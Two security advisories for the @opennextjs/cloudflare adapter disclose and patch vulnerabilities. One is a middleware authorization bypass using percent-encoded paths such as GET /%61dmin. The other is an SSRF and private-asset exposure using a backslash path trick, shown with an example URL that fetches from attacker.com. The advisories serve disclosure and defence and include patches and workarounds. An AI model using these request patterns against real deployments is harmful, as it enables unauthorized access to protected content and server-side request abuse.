Summary
When cache interception is enabled, @opennextjs/cloudflare can interpret percent-encoded paths differently during middleware matching and cache lookup.
An encoded request may fail to match authorization middleware, then be decoded into the cache key of a protected route. The cached response may consequently be returned without invoking the middleware.
enableCacheInterception is disabled by default.
Impact
A remote unauthenticated attacker may retrieve cached content from routes intended to be protected by middleware.
An application is affected when it:
- explicitly enables enableCacheInterception; - relies on middleware for access control; and - has a matching cached route.
Details
Middleware matching previously used the encoded request pathname, while cache interception decoded the pathname before selecting a cache entry.
For example, consider an application with:
- middleware matcher /admin/:path; - middleware returning 401 Authentication required for /admin; - a statically generated, cached /admin route; and - cache interception enabled:
ts export default defineCloudflareConfig({ incrementalCache: staticAssetsIncrementalCache, enableCacheInterception: true, });
An attacker can request:
http GET /%61dmin
The encoded pathname does not match /admin/:path, so the authorization middleware is not invoked. Cache interception then decodes %61dmin to admin and may return the cached /admin response:
http HTTP/1.1 200 OK x-opennext-cache: HIT
Protected content
Malformed paths exposed an additional inconsistency. For example:
http GET /%61dmin/%ZZ
The previous implementation decoded each segment independently. It decoded %61dmin to admin but retained the malformed %ZZ segment, allowing cache lookup to continue using a partially decoded pathname.
Patches
The fix aligns encoded-path handling across middleware matching and cache lookup, and rejects malformed paths instead of partially decoding them. See the upstream fixes in opennextjs-aws#1199 and opennextjs-aws#1200.
Users should upgrade to @opennextjs/cloudflare@1.20.2 or later.
Workarounds
If upgrading is not immediately possible for an application:
1. Disable cache interception by removing enableCacheInterception: true. 2. Enforce authorization inside protected route handlers rather than relying exclusively on middleware. 3. Reject encoded paths for protected routes at a trusted proxy before they reach the Worker.
Adding individual encoded matcher variants is not a complete workaround because pathnames can have multiple equivalent encodings.
A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.
The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.
For example: https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com
In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.
Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.
Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/nextcache, which could be exposed via this bypass.
Impact
- SSRF via path normalization bypass of Cloudflare edge interception - Arbitrary remote content loading under the victim site's domain - Same-origin policy bypass - Potential for infrastructure abuse (scanning from Cloudflare IP space, worker resource exhaustion) - Exposure of private assets stored under /cdn-cgi/ paths. For example, Open Next projects store incremental cache data under /cdn-cgi/nextcache, which could be exposed via this bypass.
Credits
Disclosed responsibly by security researcher @Ezzer17.
Mitigations
The following mitigations have been put in place:
Server-side updates to Cloudflare's Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers.
In addition to the platform level fix, Root cause fix has been implemented to the Cloudflare adapter for Open Next. The patched version of the adapter is found at @opennextjs/cloudflare@1.17.1 (https://www.npmjs.com/package/@opennextjs/cloudflare)
Dependency update to the Next.js template used with create-cloudflare (c3) to use the fixed version of the Cloudflare adapter for Open Next. Despite the automatic mitigation deployed on Cloudflare's platform, we encourage affected users to upgrade to the patched version of @opennextjs/cloudflare.